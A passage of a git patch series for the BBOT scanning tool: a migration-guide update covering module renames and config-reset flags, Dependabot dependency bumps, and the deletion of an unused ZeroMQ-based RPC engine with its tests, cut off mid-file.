"sha256:02299e6e9fa5b297a3f6d5d10d7bcd655c925b028bb8b9d4588214549c6b9ec4", size = 10901903, upload-time = "2026-06-18T18:25:24.755Z" }, + { url = "https://files.pythonhosted.org/packages/f3/51/805d9f6fb7970505c3504794a5ec350f605361b807fef4dcf214ebd35e72/ruff-0.15.18-py3-none-win_amd64.whl", hash = "sha256:dac80dc8d26b2257dbefabed62f5d255c3937b4ccb122da1fc634794fa3578b3", size = 12041189, upload-time = "2026-06-18T18:25:17.915Z" }, + { url = "https://files.pythonhosted.org/packages/29/4c/67bb45e41609eb4726f1bfeb59e083cf91d14c696d4bd14c234a980be93d/ruff-0.15.18-py3-none-win_arm64.whl", hash = "sha256:b2c9257fcbd4a3e5b977a1904e6facca016bafe2edc17df24db67cfaee03b4e4", size = 11329958, upload-time = "2026-06-18T18:25:43.686Z" }, ] [[package]] From cdc27711dcc2296ea228d425d7a2d6f9cd3cdd03 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 25 Jun 2026 22:50:10 -0400 Subject: [PATCH 901/912] Migration guide: stale-config reset flags, vhost rename, wpscan removal --- docs/migration/3.0_breaking_changes.md | 64 +++++++++++++++++++++++++- 1 file changed, 62 insertions(+), 2 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index efe0dfd207..528b6d8ab4 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -132,8 +132,9 @@ gone too; inject secrets with shell expansion - `passivetotal` - `sitedossier` - `smuggler` -- `vhost` - `wappalyzer` +- `wpscan` (dropped over a heavy Ruby/compiler install footprint and an + unmaintained upstream) ### Removed and replaced @@ -145,6 +146,7 @@ gone too; inject secrets with shell expansion | `bucket_azure` | `bucket_microsoft` | | `extractous` | `kreuzberg` | | `output.http` | `output.webhook` | +| `vhost` | `virtualhost` (rebuilt; emits the new `VIRTUAL_HOST` event) | | `censys` (single module) | split into `censys_dns` and `censys_ip` | If you used any of these in a custom preset or `-m` / `-em` invocation, update @@ -202,6 +204,8 @@ truth. - `VULNERABILITY` is gone. Emit a `FINDING` with `severity` set to `"CRITICAL"`, `"HIGH"`, `"MEDIUM"`, `"LOW"`, or `"INFO"` instead. The pseudo event type `TARGET` was also retired in favor of `SEED`. +- `VHOST` was renamed to `VIRTUAL_HOST`, emitted by the rebuilt `virtualhost` + module (formerly `vhost`). ### Class hierarchy @@ -274,6 +278,13 @@ limits, set the `bbot_io_api_key` config value (or `BBOT_IO_API_KEY` env var). Currently the ASN API is the only `api.bbot.io` service BBOT uses, but any future BLS APIs will work with the same key. +ASN *enrichment* (the ASN/subnet data attached to in-scope IPs via +`host_metadata`) degrades gracefully rather than aborting: after several +consecutive lookup failures, a circuit breaker disables ASN enrichment for the +rest of the scan and the scan continues without it. This is separate from the +ASN-as-target expansion above, which must abort because there would be nothing +to scan. + ### SCAN event The `SCAN` event now includes a `network` key containing the scanner's hostname, @@ -442,6 +453,49 @@ Changes: affiliates by default rather than being injected as in-scope DNS_NAME events during IP-range scans. +### Stale config files and `--reset-config` / `--reset-secrets` + +BBOT generates two config files the first time it runs and then never +overwrites them: + +- `~/.config/bbot/bbot.yml` -- a fully-commented snapshot of all default options +- `~/.config/bbot/secrets.yml` -- the secret-bearing subset (API keys, etc.), + written owner-only (`0600`) + +Because they're written once and left alone, they drift out of sync with the +defaults as you upgrade. A `bbot.yml` generated under 2.x can still mention +`web.httpx_timeout`, `web.ssl_verify`, `modules.json.siem_friendly`, and other +keys that were renamed or removed in 3.0. + +In 2.x this was harmless: unknown keys were silently ignored. In 3.0, config is +**validated on load**, so a leftover key in your generated file now produces a +validation error before the scan starts. When the offending key lives in one of +these generated files (rather than being a `-c` typo on the command line), BBOT +tells you which file it came from and points you at the matching reset flag. + +Two new CLI flags regenerate the files from current defaults: + +```bash +bbot --reset-config # regenerate bbot.yml +bbot --reset-secrets # regenerate secrets.yml +``` + +- **Destructive.** A regenerated file is a fresh, fully-commented template, so + any options you had *uncommented* are wiped. The existing file is backed up + first to `.bak` (then `.bak.1`, `.bak.2`, ... so earlier backups aren't + clobbered). +- **Confirmation required.** You're prompted before anything is overwritten; + pass `-y` / `--yes` to skip the prompt. Non-interactive runs without `--yes` + refuse and exit rather than overwrite silently. +- **Independent.** The two files are reset separately: `--reset-config` never + touches the API keys in `secrets.yml`, and `--reset-secrets` never touches the + tuned options in `bbot.yml`. The regenerated `secrets.yml` is written + atomically and stays owner-only. + +The usual fix after an in-place upgrade is to copy any customizations out of the +old file, run the matching reset flag, then re-apply your changes to the fresh +template (or move them into a preset). + --- ## DNS and HTTP internals @@ -562,7 +616,9 @@ subclasses, or `bbot.db.sql.models` will need to be ported. - [ ] Drop `--allow-deadly`. - [ ] Rename module references: `httpx -> http`, `ffuf -> webbrute`, `bucket_azure -> bucket_microsoft`, `extractous -> kreuzberg`, - `output.http -> output.webhook`, `censys -> censys_dns / censys_ip`. + `output.http -> output.webhook`, `vhost -> virtualhost`, + `censys -> censys_dns / censys_ip`. Drop any `wpscan` references (removed, + no replacement). - [ ] Rename preset references: `web-basic -> web`, `web-thorough -> web-heavy`, `*-intense -> *-heavy`. - [ ] Rename module flags: `noisy -> loud`, `web-basic -> web`, @@ -581,6 +637,10 @@ subclasses, or `bbot.db.sql.models` will need to be ported. `web.http_timeout_infrastructure`, `web.httpx_retries -> web.http_retries`, `web.ssl_verify -> web.ssl_verify_target` / `web.ssl_verify_infrastructure`. +- [ ] If an in-place upgrade fails with a config validation error pointing at + `~/.config/bbot/bbot.yml` or `secrets.yml`, back up your customizations + and run `bbot --reset-config` / `bbot --reset-secrets` to regenerate from + current defaults. - [ ] Update imports: `bbot.db.sql.models -> bbot.models.sql`. - [ ] If you ship a custom module that watches URLs but doesn't want blasthttp auto-enabled, set `_disable_auto_module_deps = True`. From 3a538a97a69c1d60a8635445891b0e670ee87d7a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 28 Jun 2026 04:42:56 +0000 Subject: [PATCH 902/912] Bump ruff from 0.15.18 to 0.15.20 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.18 to 0.15.20. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.18...0.15.20) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.20 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 66b28ec70c..11db74f151 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -80,7 +80,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.4.1", - "ruff==0.15.18", + "ruff==0.15.20", "maturin>=1.4,<2", ] docs = [ From 333f87a052aeefd177f413e8075076a8d2e4ca65 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 28 Jun 2026 04:43:07 +0000 Subject: [PATCH 903/912] Bump actions/cache from 5 to 6 in the github-actions group Bumps the github-actions group with 1 update: [actions/cache](https://github.com/actions/cache). Updates `actions/cache` from 5 to 6 - [Release notes](https://github.com/actions/cache/releases) - [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md) - [Commits](https://github.com/actions/cache/compare/v5...v6) --- updated-dependencies: - dependency-name: actions/cache dependency-version: '6' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions ... Signed-off-by: dependabot[bot] --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 76ccba7f77..f5a828e7f2 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -232,7 +232,7 @@ jobs: with: python-version: "3.11" - run: echo "cache_id=$(date --utc '+%V')" >> $GITHUB_ENV - - uses: actions/cache@v5 + - uses: actions/cache@v6 with: key: mkdocs-material-${{ env.cache_id }} path: .cache From fea64050368150ecdffe4e6a6a5f0441c38cc490 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 17:19:54 -0400 Subject: [PATCH 904/912] Remove dead engine code The bbot.core.engine framework (EngineBase/EngineClient/EngineServer) is unused since DNS and HTTP moved to blastdns/blasthttp. Reparent WebError/DNSError onto BBOTError and drop the engine doc page. --- bbot/core/engine.py | 707 --------------------------- bbot/errors.py | 8 +- bbot/test/test_step_1/test_engine.py | 146 ------ docs/dev/engine.md | 5 - mkdocs.yml | 1 - 5 files changed, 2 insertions(+), 865 deletions(-) delete mode 100644 bbot/core/engine.py delete mode 100644 bbot/test/test_step_1/test_engine.py delete mode 100644 docs/dev/engine.md diff --git a/bbot/core/engine.py b/bbot/core/engine.py deleted file mode 100644 index 7a33f0da71..0000000000 --- a/bbot/core/engine.py +++ /dev/null @@ -1,707 +0,0 @@ -import os -import sys -import zmq -import pickle -import asyncio -import inspect -import logging -import tempfile -import traceback -import contextlib -import contextvars -import zmq.asyncio -import multiprocessing -from pathlib import Path -from concurrent.futures import CancelledError -from contextlib import asynccontextmanager, suppress - -from bbot.core import CORE -from bbot.errors import BBOTEngineError -from bbot.core.helpers.async_helpers import get_event_loop -from bbot.core.multiprocess import SHARED_INTERPRETER_STATE -from bbot.core.helpers.misc import rand_string, in_exception_chain - - -error_sentinel = object() - - -class EngineBase: - """ - Base Engine class for Server and Client. - - An Engine is a simple and lightweight RPC implementation that allows offloading async tasks - to a separate process. It leverages ZeroMQ in a ROUTER-DEALER configuration. - - BBOT makes use of this by spawning a dedicated engine for DNS and HTTP tasks. - This offloads I/O and helps free up the main event loop for other tasks. - - To use Engine, you must subclass both EngineClient and EngineServer. - - See the respective EngineClient and EngineServer classes for usage examples. - """ - - ERROR_CLASS = BBOTEngineError - - def __init__(self, debug=False): - self._shutdown_status = False - self.log = logging.getLogger(f"bbot.core.{self.__class__.__name__.lower()}") - self._engine_debug = debug - - def pickle(self, obj): - try: - return pickle.dumps(obj) - except Exception as e: - self.log.error(f"Error serializing object: {obj}: {e}") - self.log.trace(traceback.format_exc()) - return error_sentinel - - def unpickle(self, binary): - try: - return pickle.loads(binary) - except Exception as e: - self.log.error(f"Error deserializing binary: {e}") - self.log.trace(f"Offending binary: {binary}") - self.log.trace(traceback.format_exc()) - return error_sentinel - - async def _infinite_retry(self, callback, *args, **kwargs): - interval = kwargs.pop("_interval", 300) - context = kwargs.pop("_context", "") - # default overall timeout of 10 minutes (300 second interval * 2 iterations) - max_retries = kwargs.pop("_max_retries", 1) - if not context: - context = f"{callback.__name__}({args}, {kwargs})" - retries = 0 - while not self._shutdown_status: - try: - return await asyncio.wait_for(callback(*args, **kwargs), timeout=interval) - except (TimeoutError, asyncio.exceptions.TimeoutError): - self.log.debug(f"{self.name}: Timeout after {interval:,} seconds {context}, retrying...") - retries += 1 - if max_retries is not None and retries > max_retries: - raise TimeoutError(f"Timed out after {(max_retries + 1) * interval:,} seconds {context}") - - def engine_debug(self, *args, **kwargs): - if self._engine_debug: - self.log.trace(*args, **kwargs) - - -class EngineClient(EngineBase): - """ - The client portion of BBOT's RPC Engine. - - To create an engine, you must create a subclass of this class and also - define methods for each of your desired functions. - - Note that this only supports async functions. If you need to offload a synchronous function to another CPU, use BBOT's multiprocessing pool instead. - - Any CPU or I/O intense logic should be implemented in the EngineServer. - - These functions are typically stubs whose only job is to forward the arguments to the server. - - Functions with the same names should be defined on the EngineServer. - - The EngineClient must specify its associated server class via the `SERVER_CLASS` variable. - - Depending on whether your function is a generator, you will use either `run_and_return()`, or `run_and_yield`. - - Examples: - >>> from bbot.core.engine import EngineClient - >>> - >>> class MyClient(EngineClient): - >>> SERVER_CLASS = MyServer - >>> - >>> async def my_function(self, **kwargs) - >>> return await self.run_and_return("my_function", **kwargs) - >>> - >>> async def my_generator(self, **kwargs): - >>> async for _ in self.run_and_yield("my_generator", **kwargs): - >>> yield _ - """ - - SERVER_CLASS = None - - def __init__(self, debug=False, **kwargs): - self.name = f"EngineClient {self.__class__.__name__}" - super().__init__(debug=debug) - self.process = None - if self.SERVER_CLASS is None: - raise ValueError(f"Must set EngineClient SERVER_CLASS, {self.SERVER_CLASS}") - self.CMDS = dict(self.SERVER_CLASS.CMDS) - for k, v in list(self.CMDS.items()): - self.CMDS[v] = k - self.socket_address = f"zmq_{rand_string(8)}.sock" - self.socket_path = Path(tempfile.gettempdir()) / self.socket_address - self.server_kwargs = kwargs.pop("server_kwargs", {}) - self._server_process = None - self.context = zmq.asyncio.Context() - self.context.setsockopt(zmq.LINGER, 0) - self.sockets = set() - - def check_error(self, message): - if isinstance(message, dict) and len(message) == 1 and "_e" in message: - self.engine_debug(f"{self.name}: got error message: {message}") - error, trace = message["_e"] - error = self.ERROR_CLASS(error) - error.engine_traceback = trace - self.engine_debug(f"{self.name}: raising {error.__class__.__name__}") - raise error - return False - - async def run_and_return(self, command, *args, **kwargs): - fn_str = f"{command}({args}, {kwargs})" - self.engine_debug(f"{self.name}: executing run-and-return {fn_str}") - if self._shutdown_status and not command == "_shutdown": - self.log.verbose(f"{self.name} has been shut down and is not accepting new tasks") - return - async with self.new_socket() as socket: - try: - message = self.make_message(command, args=args, kwargs=kwargs) - if message is error_sentinel: - return - await socket.send(message) - binary = await self._infinite_retry(socket.recv, _context=f"waiting for return value from {fn_str}") - except BaseException: - try: - await self.send_cancel_message(socket, fn_str) - except Exception: - self.log.debug(f"{self.name}: {fn_str} failed to send cancel message after exception") - self.log.trace(traceback.format_exc()) - raise - # self.log.debug(f"{self.name}.{command}({kwargs}) got binary: {binary}") - message = self.unpickle(binary) - self.engine_debug(f"{self.name}: {fn_str} got return value: {message}") - # error handling - if self.check_error(message): - return - return message - - async def run_and_yield(self, command, *args, **kwargs): - fn_str = f"{command}({args}, {kwargs})" - self.engine_debug(f"{self.name}: executing run-and-yield {fn_str}") - if self._shutdown_status: - self.log.verbose("Engine has been shut down and is not accepting new tasks") - return - message = self.make_message(command, args=args, kwargs=kwargs) - if message is error_sentinel: - return - async with self.new_socket() as socket: - # TODO: synchronize server-side generator by limiting qsize - # socket.setsockopt(zmq.RCVHWM, 1) - # socket.setsockopt(zmq.SNDHWM, 1) - await socket.send(message) - while 1: - try: - binary = await self._infinite_retry( - socket.recv, _context=f"waiting for new iteration from {fn_str}" - ) - # self.log.debug(f"{self.name}.{command}({kwargs}) got binary: {binary}") - message = self.unpickle(binary) - self.engine_debug(f"{self.name}: {fn_str} got iteration: {message}") - # error handling - if self.check_error(message) or self.check_stop(message): - break - yield message - except (StopAsyncIteration, GeneratorExit) as e: - exc_name = e.__class__.__name__ - self.engine_debug(f"{self.name}.{command} got {exc_name}") - try: - await self.send_cancel_message(socket, fn_str) - except Exception: - self.engine_debug(f"{self.name}.{command} failed to send cancel message after {exc_name}") - self.log.trace(traceback.format_exc()) - break - - async def send_cancel_message(self, socket, context): - """ - Send a cancel message and wait for confirmation from the server - """ - # -1 == special "cancel" signal - message = pickle.dumps({"c": -1}) - await self._infinite_retry(socket.send, message) - while 1: - response = await self._infinite_retry( - socket.recv, _context=f"waiting for CANCEL_OK from {context}", _max_retries=4 - ) - response = pickle.loads(response) - if isinstance(response, dict): - response = response.get("m", "") - if response == "CANCEL_OK": - break - - async def send_shutdown_message(self): - async with self.new_socket() as socket: - # -99 == special shutdown message - message = pickle.dumps({"c": -99}) - with suppress(TimeoutError, asyncio.exceptions.TimeoutError): - await asyncio.wait_for(socket.send(message), 0.5) - with suppress(TimeoutError, asyncio.exceptions.TimeoutError): - while 1: - response = await asyncio.wait_for(socket.recv(), 0.5) - response = pickle.loads(response) - if isinstance(response, dict): - response = response.get("m", "") - if response == "SHUTDOWN_OK": - break - - def check_stop(self, message): - if isinstance(message, dict) and len(message) == 1 and "_s" in message: - return True - return False - - def make_message(self, command, args=None, kwargs=None): - try: - cmd_id = self.CMDS[command] - except KeyError: - raise KeyError(f'Command "{command}" not found. Available commands: {",".join(self.available_commands)}') - message = {"c": cmd_id} - if args: - message["a"] = args - if kwargs: - message["k"] = kwargs - return pickle.dumps(message) - - @property - def available_commands(self): - return [s for s in self.CMDS if isinstance(s, str)] - - def start_server(self): - process_name = multiprocessing.current_process().name - if SHARED_INTERPRETER_STATE.is_scan_process: - kwargs = dict(self.server_kwargs) - # if we're in tests, we use a single event loop to avoid weird race conditions - # this allows us to more easily mock http, etc. - if os.environ.get("BBOT_TESTING", "") == "True": - kwargs["_loop"] = get_event_loop() - kwargs["debug"] = self._engine_debug - self.process = CORE.create_process( - target=self.server_process, - args=( - self.SERVER_CLASS, - self.socket_path, - ), - kwargs=kwargs, - custom_name=f"BBOT {self.__class__.__name__}", - ) - self.process.start() - return self.process - else: - raise BBOTEngineError( - f"Tried to start server from process {process_name}. Did you forget \"if __name__ == '__main__'?\"" - ) - - @staticmethod - def server_process(server_class, socket_path, **kwargs): - try: - loop = kwargs.pop("_loop", None) - engine_server = server_class(socket_path, **kwargs) - if loop is not None: - future = asyncio.run_coroutine_threadsafe(engine_server.worker(), loop) - future.result() - else: - asyncio.run(engine_server.worker()) - except (asyncio.CancelledError, KeyboardInterrupt, CancelledError): - return - except Exception: - import traceback - - log = logging.getLogger("bbot.core.engine.server") - log.critical(f"Unhandled error in {server_class.__name__} server process: {traceback.format_exc()}") - - @asynccontextmanager - async def new_socket(self): - if self._server_process is None: - self._server_process = self.start_server() - while not self.socket_path.exists(): - self.engine_debug(f"{self.name}: waiting for server process to start...") - await asyncio.sleep(0.1) - socket = self.context.socket(zmq.DEALER) - socket.setsockopt(zmq.LINGER, 0) # Discard pending messages immediately disconnect() or close() - socket.setsockopt(zmq.SNDHWM, 0) # Unlimited send buffer - socket.setsockopt(zmq.RCVHWM, 0) # Unlimited receive buffer - socket.connect(f"ipc://{self.socket_path}") - self.sockets.add(socket) - try: - yield socket - finally: - self.sockets.remove(socket) - with suppress(Exception): - socket.close() - - async def shutdown(self): - if not self._shutdown_status: - self._shutdown_status = True - self.log.verbose(f"{self.name}: shutting down...") - # send shutdown signal - await self.send_shutdown_message() - # then terminate context - try: - self.context.destroy(linger=0) - except Exception: - print(traceback.format_exc(), file=sys.stderr) - try: - self.context.term() - except Exception: - print(traceback.format_exc(), file=sys.stderr) - # terminate the server process/thread - if self._server_process is not None: - try: - self._server_process.join(timeout=5) - if self._server_process.is_alive(): - # threads don't have terminate/kill, only processes do - terminate = getattr(self._server_process, "terminate", None) - if callable(terminate): - terminate() - self._server_process.join(timeout=3) - if self._server_process.is_alive(): - kill = getattr(self._server_process, "kill", None) - if callable(kill): - kill() - except Exception: - with suppress(Exception): - kill = getattr(self._server_process, "kill", None) - if callable(kill): - kill() - self._server_process = None - # delete socket file on exit - self.socket_path.unlink(missing_ok=True) - - -class EngineServer(EngineBase): - """ - The server portion of BBOT's RPC Engine. - - Methods defined here must match the methods in your EngineClient. - - To use the functions, you must create mappings for them in the CMDS attribute, as shown below. - - Examples: - >>> from bbot.core.engine import EngineServer - >>> - >>> class MyServer(EngineServer): - >>> CMDS = { - >>> 0: "my_function", - >>> 1: "my_generator", - >>> } - >>> - >>> def my_function(self, arg1=None): - >>> await asyncio.sleep(1) - >>> return str(arg1) - >>> - >>> def my_generator(self): - >>> for i in range(10): - >>> await asyncio.sleep(1) - >>> yield i - """ - - CMDS = {} - - def __init__(self, socket_path, debug=False): - self.name = f"EngineServer {self.__class__.__name__}" - super().__init__(debug=debug) - self.engine_debug(f"{self.name}: finished setup 1 (_debug={self._engine_debug})") - self.socket_path = socket_path - self.client_id_var = contextvars.ContextVar("client_id", default=None) - # task <--> client id mapping - self.tasks = {} - # child tasks spawned by main tasks - self.child_tasks = {} - self.engine_debug(f"{self.name}: finished setup 2 (_debug={self._engine_debug})") - if self.socket_path is not None: - # create ZeroMQ context - self.context = zmq.asyncio.Context() - # ROUTER socket can handle multiple concurrent requests - self.socket = self.context.socket(zmq.ROUTER) - self.socket.setsockopt(zmq.LINGER, 0) # Discard pending messages immediately disconnect() or close() - self.socket.setsockopt(zmq.SNDHWM, 0) # Unlimited send buffer - self.socket.setsockopt(zmq.RCVHWM, 0) # Unlimited receive buffer - # create socket file - self.socket.bind(f"ipc://{self.socket_path}") - self.engine_debug(f"{self.name}: finished setup 3 (_debug={self._engine_debug})") - - @contextlib.contextmanager - def client_id_context(self, value): - token = self.client_id_var.set(value) - try: - yield - finally: - self.client_id_var.reset(token) - - async def run_and_return(self, client_id, command_fn, *args, **kwargs): - fn_str = f"{command_fn.__name__}({args}, {kwargs})" - self.engine_debug(fn_str) - with self.client_id_context(client_id): - try: - self.engine_debug(f"{self.name}: starting run-and-return {fn_str}") - try: - result = await command_fn(*args, **kwargs) - except BaseException as e: - if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - log_fn = self.log.debug - else: - log_fn = self.log.error - error = f"{self.name}: error in {fn_str}: {e}" - trace = traceback.format_exc() - log_fn(error) - self.log.trace(trace) - result = {"_e": (error, trace)} - finally: - self.tasks.pop(client_id, None) - self.engine_debug(f"{self.name}: sending response to {fn_str}: {result}") - await self.send_socket_multipart(client_id, result) - except BaseException as e: - self.log.critical( - f"Unhandled exception in {self.name}.run_and_return({client_id}, {command_fn}, {args}, {kwargs}): {e}" - ) - self.log.critical(traceback.format_exc()) - finally: - self.engine_debug(f"{self.name} finished run-and-return {fn_str}") - - async def run_and_yield(self, client_id, command_fn, *args, **kwargs): - fn_str = f"{command_fn.__name__}({args}, {kwargs})" - with self.client_id_context(client_id): - try: - self.engine_debug(f"{self.name}: starting run-and-yield {fn_str}") - try: - async for _ in command_fn(*args, **kwargs): - self.engine_debug(f"{self.name}: sending iteration for {fn_str}: {_}") - await self.send_socket_multipart(client_id, _) - except BaseException as e: - if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - log_fn = self.log.debug - else: - log_fn = self.log.error - error = f"{self.name}: error in {fn_str}: {e}" - trace = traceback.format_exc() - log_fn(error) - self.log.trace(trace) - result = {"_e": (error, trace)} - await self.send_socket_multipart(client_id, result) - finally: - self.engine_debug(f"{self.name}: reached end of run-and-yield iteration for {fn_str}") - # _s == special signal that means StopIteration - await self.send_socket_multipart(client_id, {"_s": None}) - self.tasks.pop(client_id, None) - except BaseException as e: - self.log.critical( - f"Unhandled exception in {self.name}.run_and_yield({client_id}, {command_fn}, {args}, {kwargs}): {e}" - ) - self.log.critical(traceback.format_exc()) - finally: - self.engine_debug(f"{self.name}: finished run-and-yield {fn_str}") - - async def send_socket_multipart(self, client_id, message): - try: - message = pickle.dumps(message) - await self._infinite_retry(self.socket.send_multipart, [client_id, message]) - except Exception as e: - self.log.verbose(f"{self.name}: error sending ZMQ message: {e}") - self.log.trace(traceback.format_exc()) - - def check_error(self, message): - if message is error_sentinel: - return True - - async def worker(self): - self.engine_debug(f"{self.name}: starting worker") - try: - while 1: - client_id, binary = await self.socket.recv_multipart() - message = self.unpickle(binary) - self.engine_debug(f"{self.name} got message: {message}") - if self.check_error(message): - continue - - cmd = message.get("c", None) - if not isinstance(cmd, int): - self.log.warning(f"{self.name}: no command sent in message: {message}") - continue - - # -1 == cancel task - if cmd == -1: - self.engine_debug(f"{self.name} got cancel signal") - await self.send_socket_multipart(client_id, {"m": "CANCEL_OK"}) - await self.cancel_task(client_id) - continue - - # -99 == shutdown task - if cmd == -99: - self.log.verbose(f"{self.name} got shutdown signal") - await self.send_socket_multipart(client_id, {"m": "SHUTDOWN_OK"}) - await self._shutdown() - return - - args = message.get("a", ()) - if not isinstance(args, tuple): - self.log.warning(f"{self.name}: received invalid args of type {type(args)}, should be tuple") - continue - kwargs = message.get("k", {}) - if not isinstance(kwargs, dict): - self.log.warning(f"{self.name}: received invalid kwargs of type {type(kwargs)}, should be dict") - continue - - command_name = self.CMDS[cmd] - command_fn = getattr(self, command_name, None) - - if command_fn is None: - self.log.warning(f'{self.name} has no function named "{command_fn}"') - continue - - if inspect.isasyncgenfunction(command_fn): - self.engine_debug(f"{self.name}: creating run-and-yield coroutine for {command_name}()") - coroutine = self.run_and_yield(client_id, command_fn, *args, **kwargs) - else: - self.engine_debug(f"{self.name}: creating run-and-return coroutine for {command_name}()") - coroutine = self.run_and_return(client_id, command_fn, *args, **kwargs) - - self.engine_debug(f"{self.name}: creating task for {command_name}() coroutine") - task = asyncio.create_task(coroutine) - self.tasks[client_id] = task, command_fn, args, kwargs - self.engine_debug(f"{self.name}: finished creating task for {command_name}() coroutine") - except BaseException as e: - await self._shutdown() - if not in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - self.log.error(f"{self.name}: error in EngineServer worker: {e}") - self.log.trace(traceback.format_exc()) - finally: - self.engine_debug(f"{self.name}: finished worker()") - - async def _shutdown(self): - if not self._shutdown_status: - self.log.verbose(f"{self.name}: shutting down...") - self._shutdown_status = True - await self.cancel_all_tasks() - context = getattr(self, "context", None) - if context is not None: - try: - context.destroy(linger=0) - except Exception: - self.log.trace(traceback.format_exc()) - try: - context.term() - except Exception: - self.log.trace(traceback.format_exc()) - self.log.verbose(f"{self.name}: finished shutting down") - - async def task_pool(self, fn, args_kwargs, threads=10, timeout=300, global_kwargs=None): - if global_kwargs is None: - global_kwargs = {} - - tasks = {} - args_kwargs = list(args_kwargs) - - def new_task(): - if args_kwargs: - kwargs = {} - tracker = None - args = args_kwargs.pop(0) - if isinstance(args, (list, tuple)): - # you can specify a custom tracker value if you want - # this helps with correlating results - with suppress(ValueError): - args, kwargs, tracker = args - # or you can just specify args/kwargs - with suppress(ValueError): - args, kwargs = args - - if not isinstance(kwargs, dict): - raise ValueError(f"kwargs must be dict (got: {kwargs})") - if not isinstance(args, (list, tuple)): - args = [args] - - task = self.new_child_task(fn(*args, **kwargs, **global_kwargs)) - tasks[task] = (args, kwargs, tracker) - - for _ in range(threads): # Start initial batch of tasks - new_task() - - while tasks: # While there are tasks pending - # Wait for the first task to complete - finished = await self.finished_tasks(tasks, timeout=timeout) - for task in finished: - result = task.result() - (args, kwargs, tracker) = tasks.pop(task) - yield (args, kwargs, tracker), result - new_task() - - def new_child_task(self, coro): - """ - Create a new asyncio task, making sure to track it based on the client id. - - This allows the task to be automatically cancelled if its parent is cancelled. - """ - client_id = self.client_id_var.get() - task = asyncio.create_task(coro) - - if client_id: - - def remove_task(t): - tasks = self.child_tasks.get(client_id, set()) - tasks.discard(t) - if not tasks: - self.child_tasks.pop(client_id, None) - - task.add_done_callback(remove_task) - - try: - self.child_tasks[client_id].add(task) - except KeyError: - self.child_tasks[client_id] = {task} - - return task - - async def finished_tasks(self, tasks, timeout=None): - """ - Given a list of asyncio tasks, return the ones that are finished with an optional timeout - """ - if tasks: - try: - done, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED, timeout=timeout) - return done - except BaseException as e: - if isinstance(e, (TimeoutError, asyncio.exceptions.TimeoutError)): - self.log.warning(f"{self.name}: Timeout after {timeout:,} seconds in finished_tasks({tasks})") - for task in list(tasks): - task.cancel() - self._await_cancelled_task(task) - else: - if not in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - self.log.error(f"{self.name}: Unhandled exception in finished_tasks({tasks}): {e}") - self.log.trace(traceback.format_exc()) - raise - return set() - - async def cancel_task(self, client_id): - parent_task = self.tasks.pop(client_id, None) - if parent_task is None: - return - parent_task, _cmd, _args, _kwargs = parent_task - self.engine_debug(f"{self.name}: Cancelling client id {client_id} (task: {parent_task})") - parent_task.cancel() - child_tasks = self.child_tasks.pop(client_id, set()) - if child_tasks: - self.engine_debug(f"{self.name}: Cancelling {len(child_tasks):,} child tasks for client id {client_id}") - for child_task in child_tasks: - child_task.cancel() - - for task in [parent_task] + list(child_tasks): - await self._await_cancelled_task(task) - - async def _await_cancelled_task(self, task): - try: - await asyncio.wait_for(task, timeout=10) - except (TimeoutError, asyncio.exceptions.TimeoutError): - self.log.trace(f"{self.name}: Timeout cancelling task: {task}") - return - except (KeyboardInterrupt, asyncio.CancelledError): - return - except BaseException as e: - self.log.error(f"Unhandled error in {task.get_coro().__name__}(): {e}") - self.log.trace(traceback.format_exc()) - - async def cancel_all_tasks(self): - for client_id in list(self.tasks): - await self.cancel_task(client_id) - for client_id, tasks in self.child_tasks.items(): - for task in list(tasks): - await self._await_cancelled_task(task) diff --git a/bbot/errors.py b/bbot/errors.py index 43f68b5f6f..0985886623 100644 --- a/bbot/errors.py +++ b/bbot/errors.py @@ -62,15 +62,11 @@ class PresetAbortError(PresetConditionError): pass -class BBOTEngineError(BBOTError): +class WebError(BBOTError): pass -class WebError(BBOTEngineError): - pass - - -class DNSError(BBOTEngineError): +class DNSError(BBOTError): pass diff --git a/bbot/test/test_step_1/test_engine.py b/bbot/test/test_step_1/test_engine.py deleted file mode 100644 index 653c3dcd6c..0000000000 --- a/bbot/test/test_step_1/test_engine.py +++ /dev/null @@ -1,146 +0,0 @@ -from ..bbot_fixtures import * - - -@pytest.mark.asyncio -async def test_engine(): - from bbot.core.engine import EngineClient, EngineServer - - counter = 0 - yield_cancelled = False - yield_errored = False - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - - class TestEngineServer(EngineServer): - CMDS = { - 0: "return_thing", - 1: "yield_stuff", - } - - async def return_thing(self, n): - nonlocal return_started - nonlocal return_finished - nonlocal return_cancelled - nonlocal return_errored - try: - return_started = True - await asyncio.sleep(n) - return_finished = True - return f"thing{n}" - except asyncio.CancelledError: - return_cancelled = True - raise - except Exception: - return_errored = True - raise - - async def yield_stuff(self, n): - nonlocal counter - nonlocal yield_cancelled - 